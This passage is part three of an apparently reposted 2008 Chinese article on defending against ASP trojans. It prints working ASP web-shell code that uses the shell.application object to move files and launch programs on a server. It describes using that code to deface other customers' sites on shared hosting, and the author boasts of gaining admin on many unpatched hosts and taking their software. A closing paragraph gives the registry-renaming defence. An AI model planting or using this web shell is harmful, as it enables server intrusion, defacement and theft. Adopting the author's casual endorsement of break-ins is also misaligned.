两款比较典型的ASP木马防范方法(3)

2018 年 5 月 20 日1870

两款比较典型的ASP木马防范方法(3)

作者：

CNETNews.com.cn

2008-01-23 20:03:40

关键词：

　　next if len(path)=2 then path=path & ""
　　path2=right(szcmd3,len(szcmd3)-i)
　　set fod2=shell2.namespace(path)
　　set foditem=fod2.parsename(path2)
　　fod1.movehere foditem
　　response.write "command completed success!"
　　end if
　　%>
　　<%
　　szCMD5 = Request.Form("text5") 执行程序要指定路径
　　szCMD6 = Request.Form("text6")
　　if szcmd5<>"" and szcmd6<>"" then
　　set shell3=server.createobject("shell.application") 建立shell对象
　　shell3.namespace(szcmd5).items.item(szcmd6).invokeverb
　　response.write "command completed success!"
　　end if
　　%>
　　
　　要查看目录，只要输入相应的目录，点发送命令就可以了。这个木马程可以完成文件的COPY、MOVE，和执行程序。但很多命令都不能用，例如：del、net、netstat等。这个木马程的功能随然简单，但是用它来黑一个网站是足够了。比如，我们可以把网站的首页MOVE到其它地方，然后我们再COPY一个同名的黑客网页进去，就行了。
　　
　　最要命的是这个木马适用于任何虚拟主机之中，也就是说我只要是服务器中的一个虚拟空间的用户，我就可以传这个木马上去，并用它来修改其它任何用户的主页。所以如果哪些提供虚拟空间的服务商没有打补丁的话，那真是死定了。
　　
　　然而在我的实践中发现，中国很多的虚拟空间服务商，特别是一些小型的服务商都没有打补丁。我利用这一漏洞拿到了很多虚拟空间服务器的ADMIN，然后好心的帮他们补上漏洞。当然我也得到了我想得到的东西——很多好的软件和代码。我现在用着的很多ASP程序就是从他们那上面偷下来，太难听了，应该说DOWN下来的才对。
　　
　　言归正传，我们应该怎样来防范这个ASP后门木马程序呢？让我们看一下它其中的这一句代码：set shell=server.createobject("shell.application")，跟刚才的方法一样,我们只要把"shell.application"项和"shell.application.1"项改名或删除就可以了。记住了，如果是改名，要改得复杂一点，不要让黑客们一下就猜到了。